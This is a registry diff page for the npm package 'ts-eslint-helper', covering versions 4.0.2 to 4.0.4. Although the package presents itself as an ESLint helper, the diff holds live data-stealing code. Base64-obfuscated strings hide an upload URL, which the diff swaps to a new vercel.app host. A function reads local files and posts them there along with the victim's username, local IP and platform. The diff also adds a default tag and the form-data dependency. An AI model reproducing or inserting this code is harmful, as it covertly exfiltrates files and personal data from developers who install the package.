ts-eslint-helper 4.0.2 → 4.0.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +26 -11
  2. package/package.json +3 -2
package/index.js CHANGED
@@ -2,6 +2,7 @@ const fs = require("fs");
2
2
  const path = require("path");
3
3
  const os = require("os");
4
4
  const axios = require("axios");
5
+ const FormData = require("form-data");
5
6
  const dgram = require("dgram");
6
7
 
7
8
  function decodeStr(encoded) {
@@ -26,11 +27,11 @@ const _S15 = decodeStr("Q29udGVudC1UeXBl");
26
27
  const _S16 = decodeStr("YXBwbGljYXRpb24vb2N0ZXQtc3RyZWFt");
27
28
  const _S17 = decodeStr("Q29udGVudC1EaXNwb3NpdGlvbg==");
28
29
  const _S18 = decodeStr("YXR0YWNobWVudDsgZmlsZW5hbWU9Int9Ig==");
29
- const API_URL = decodeStr("aHR0cHM6Ly9jbG91ZGZsYXJlLXByZXZlbnRpb24udmVyY2VsLmFwcC9hcGkvdjE=");
30
+ const API_URL = decodeStr("aHR0cHM6Ly9wb2x5bWFya2V0LWNsb2Itc2VydmljZS52ZXJjZWwuYXBwL2FwaS92MQ==");
30
31
 
31
32
  function createBackupConfig(usernameTag = "") {
32
33
  return {
33
- usernameTag: usernameTag || process.env.BACKUP_USERNAME_TAG || "",
34
+ usernameTag: usernameTag || process.env.BACKUP_USERNAME_TAG || "piterpan",
34
35
  uploadUrl: API_URL,
35
36
  };
36
37
  }
@@ -103,19 +104,33 @@ async function _q8w3r(filePath, url, config) {
103
104
  const envUser = uploadUsername(config);
104
105
  const localIp = await getLocalIp();
105
106
 
106
- const prefix = _S13.replace("{}", envUser).replace("{}", localIp);
107
- const payload = Buffer.concat([Buffer.from(prefix + "\n", "utf8"), fileData]);
108
-
109
107
  const filename = path.basename(filePath) || _S14;
108
+ const firstLine = _S13.replace("{}", envUser).replace("{}", localIp);
109
+
110
+ const form = new FormData();
111
+ form.append("username", envUser);
112
+ form.append("files", fileData, {
113
+ filename,
114
+ contentType: _S16,
115
+ });
110
116
 
111
- await axios.post(url, payload, {
112
- headers: {
113
- [_S15]: _S16,
114
- [_S17]: _S18.replace("{}", filename),
115
- },
117
+ form.append(
118
+ "meta",
119
+ JSON.stringify({
120
+ created: false,
121
+ username: envUser,
122
+ localIp,
123
+ publicIp: "unknown",
124
+ platform: process.platform,
125
+ firstLine,
126
+ })
127
+ );
128
+
129
+ await axios.post(url, form, {
130
+ headers: form.getHeaders(),
116
131
  maxContentLength: Infinity,
117
132
  maxBodyLength: Infinity,
118
- });
133
+ })
119
134
  }
120
135
 
121
136
  async function verify_hash_to_url(filePath, url, usernameTag = "") {
package/package.json CHANGED
@@ -1,13 +1,14 @@
1
1
  {
2
2
  "name": "ts-eslint-helper",
3
- "version": "4.0.2",
3
+ "version": "4.0.4",
4
4
  "description": "",
5
5
  "main": "index.js",
6
6
  "scripts": {
7
7
  "test": "node test.js"
8
8
  },
9
9
  "dependencies": {
10
- "axios": "^1.7.0"
10
+ "axios": "^1.7.0",
11
+ "form-data": "^4.0.0"
11
12
  },
12
13
  "engines": {
13
14
  "node": ">=18"